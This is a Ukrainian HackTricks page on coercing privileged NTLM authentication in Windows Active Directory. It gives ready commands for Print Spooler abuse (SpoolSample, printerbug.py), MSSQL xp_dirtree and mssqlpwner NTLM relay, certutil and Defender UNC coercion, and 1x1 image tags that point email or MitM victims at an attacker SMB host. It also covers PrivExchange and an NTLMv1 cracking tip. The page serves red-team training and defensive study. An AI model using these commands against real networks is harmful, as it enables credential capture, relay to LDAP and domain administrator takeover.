Примусова привілейована аутентифікація NTLM

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

SharpSystemTriggers

SharpSystemTriggers - це колекція триггерів віддаленої аутентифікації, написаних на C# з використанням компілятора MIDL для уникнення залежностей від сторонніх розробників.

Зловживання службою Spooler

Якщо служба Print Spooler увімкнена, ви можете використовувати деякі вже відомі облікові дані AD, щоб запросити у серверу друку контролера домену оновлення нових друкованих завдань і просто сказати йому надіслати сповіщення на якусь систему.
Зверніть увагу, що коли принтер надсилає сповіщення на довільні системи, йому потрібно аутентифікуватися проти цієї системи. Тому зловмисник може змусити службу Print Spooler аутентифікуватися проти довільної системи, і служба використає обліковий запис комп'ютера в цій аутентифікації.

Пошук Windows серверів у домені

Використовуючи PowerShell, отримайте список Windows машин. Сервери зазвичай є пріоритетними, тому зосередимося на них:

bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Виявлення служб Spooler, що прослуховують

Використовуючи трохи модифікований @mysmartlogin's (Vincent Le Toux's) SpoolerScanner, перевірте, чи служба Spooler прослуховує:

bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Ви також можете використовувати rpcdump.py на Linux і шукати протокол MS-RPRN.

bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Запросіть службу аутентифікацію проти довільного хоста

Ви можете скомпілювати SpoolSample звідси.

bash
SpoolSample.exe <TARGET> <RESPONDERIP>

або використовуйте 3xocyte's dementor.py або printerbug.py, якщо ви на Linux

bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Поєднання з неконтрольованою делегацією

Якщо зловмисник вже скомпрометував комп'ютер з неконтрольованою делегацією, зловмисник може змусити принтер аутентифікуватися на цьому комп'ютері. Через неконтрольовану делегацію TGT облікового запису комп'ютера принтера буде збережено в пам'яті комп'ютера з неконтрольованою делегацією. Оскільки зловмисник вже скомпрометував цей хост, він зможе отримати цей квиток і зловживати ним (Pass the Ticket).

RCP Примусова аутентифікація

GitHub - p0dalirius/Coercer: A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 12 methods.

PrivExchange

Атака PrivExchange є наслідком вразливості, виявленої в функції PushSubscription Exchange Server. Ця функція дозволяє серверу Exchange бути примушеним будь-яким доменним користувачем з поштовою скринькою аутентифікуватися на будь-якому хості, наданому клієнтом, через HTTP.

За замовчуванням служба Exchange працює як SYSTEM і має надмірні привілеї (зокрема, вона має привілеї WriteDacl на домен до 2019 Cumulative Update). Цю вразливість можна експлуатувати для дозволу пересилання інформації до LDAP і, відповідно, витягнення бази даних домену NTDS. У випадках, коли пересилання до LDAP неможливе, цю вразливість все ще можна використовувати для пересилання та аутентифікації на інших хостах у домені. Успішна експлуатація цієї атаки надає негайний доступ до адміністратора домену з будь-яким аутентифікованим обліковим записом домену.

Всередині Windows

Якщо ви вже всередині машини Windows, ви можете змусити Windows підключитися до сервера, використовуючи привілейовані облікові записи за допомогою:

Defender MpCmdRun

bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Або використовуйте цю іншу техніку: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

Можливо використовувати certutil.exe lolbin (підписаний Microsoft бінарний файл) для примусу NTLM аутентифікації:

bash
certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Via email

Якщо ви знаєте email адресу користувача, який входить у систему машини, яку ви хочете скомпрометувати, ви можете просто надіслати йому email з зображенням 1x1 таким як

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

і коли він його відкриє, він спробує аутентифікуватися.

MitM

Якщо ви можете виконати атаку MitM на комп'ютер і вставити HTML на сторінку, яку він буде переглядати, ви можете спробувати вставити зображення, як показано нижче, на сторінку:

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Злом NTLMv1

Якщо ви можете захопити NTLMv1 challenges read here how to crack them.
Пам'ятайте, що для зламу NTLMv1 вам потрібно встановити Responder challenge на "1122334455667788"

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks